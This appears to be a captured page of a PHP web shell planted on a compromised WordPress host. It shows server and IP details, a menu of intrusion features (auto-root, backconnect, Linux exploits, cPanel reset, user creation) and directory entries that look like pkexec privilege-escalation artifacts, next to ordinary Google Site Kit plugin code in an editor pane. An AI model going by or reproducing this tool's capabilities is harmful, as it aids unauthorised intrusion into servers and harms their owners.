Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 18.118.166.47
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
temmmp /
anonmags.com /
wp-content /
plugins /
google-site-kit /
includes /
Core /
Storage /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Setting
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
Cache.php
3.32
KB
-rw-r--r--
Data_Encryption.php
3.38
KB
-rw-r--r--
Encrypted_Options.php
2.37
KB
-rw-r--r--
Encrypted_User_Options.php
2.83
KB
-rw-r--r--
Options.php
2.87
KB
-rw-r--r--
Options_Interface.php
1.33
KB
-rw-r--r--
Post_Meta.php
2.21
KB
-rw-r--r--
Post_Meta_Interface.php
1.97
KB
-rw-r--r--
Post_Meta_Setting.php
3.66
KB
-rw-r--r--
Setting.php
4
KB
-rw-r--r--
Setting_With_Legacy_Keys_Trait...
1.04
KB
-rw-r--r--
Setting_With_Owned_Keys_Interf...
664
B
-rw-r--r--
Setting_With_Owned_Keys_Trait....
2.9
KB
-rw-r--r--
Setting_With_ViewOnly_Keys_Int...
688
B
-rw-r--r--
Transients.php
2.07
KB
-rw-r--r--
User_Aware_Interface.php
819
B
-rw-r--r--
User_Aware_Trait.php
1.42
KB
-rw-r--r--
User_Options.php
2.93
KB
-rw-r--r--
User_Options_Interface.php
1.34
KB
-rw-r--r--
User_Setting.php
3.28
KB
-rw-r--r--
User_Transients.php
7.46
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Setting.php
<?php /** * Class Google\Site_Kit\Core\Storage * * @package Google\Site_Kit\Core\Storage * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Storage; /** * Base class for a single setting. * * @since 1.2.0 * @access private * @ignore */ abstract class Setting { /** * The option_name for this setting. * Override in a sub-class. */ const OPTION = ''; /** * Options instance implementing Options_Interface. * * @since 1.2.0 * @var Options_Interface */ protected $options; /** * Setting constructor. * * @since 1.2.0 * * @param Options_Interface $options Options_Interface instance. */ public function __construct( Options_Interface $options ) { $this->options = $options; } /** * Registers the setting in WordPress. * * @since 1.2.0 */ public function register() { register_setting( static::OPTION, static::OPTION, array( 'type' => $this->get_type(), 'sanitize_callback' => $this->get_sanitize_callback(), 'default' => $this->get_default(), ) ); } /** * Subscribes to updates for this setting. * * @since 1.118.0 * * @param callable $callback Function taking $old_value & $new_value parameters that gets called when option value updates. * @return \Closure Function to remove added listeners. */ public function on_change( callable $callback ) { $option = static::OPTION; $on_add_option = function ( $_, $value ) use ( $callback ) { $callback( $this->get_default(), $value ); }; add_action( "add_option_{$option}", $on_add_option, 10, 2 ); $on_update_option = function ( $old_value, $value ) use ( $callback ) { $callback( $old_value, $value ); }; add_action( "update_option_{$option}", $on_update_option, 10, 2 ); return function () use ( $option, $on_add_option, $on_update_option ) { remove_action( "add_option_{$option}", $on_add_option ); remove_action( "update_option_{$option}", $on_update_option ); }; } /** * Checks whether or not the option is set with a valid value. * * @since 1.2.0 * @since 1.3.0 Now relies on {@see Options_Interface::has()}. * * @return bool True on success, false on failure. */ public function has() { return $this->options->has( static::OPTION ); } /** * Gets the value of the setting. * * @since 1.2.0 * * @return mixed Value set for the option, or registered default if not set. */ public function get() { return $this->options->get( static::OPTION ); } /** * Sets the value of the setting with the given value. * * @since 1.2.0 * * @param mixed $value Setting value. Must be serializable if non-scalar. * * @return bool True on success, false on failure. */ public function set( $value ) { return $this->options->set( static::OPTION, $value ); } /** * Deletes the setting. * * @since 1.2.0 * * @return bool True on success, false on failure. */ public function delete() { return $this->options->delete( static::OPTION ); } /** * Gets the expected value type. * * Returns 'string' by default for consistency with register_setting. * Override in a sub-class if different. * * @since 1.2.0 * * @return string The type name. */ protected function get_type() { return 'string'; } /** * Gets the default value. * * For use with register_setting and fetching the default directly. * Returns false by default for consistency with get_option. * Override in a sub-class if different. * * @since 1.2.0 * * @return mixed The default value. */ protected function get_default() { return false; } /** * Gets the callback for sanitizing the setting's value before saving. * * For use internally with register_setting. * Returns `null` for consistency with the default in register_setting. * Override in a sub-class. * * @since 1.2.0 * * @return callable|null */ protected function get_sanitize_callback() { return null; } }
Close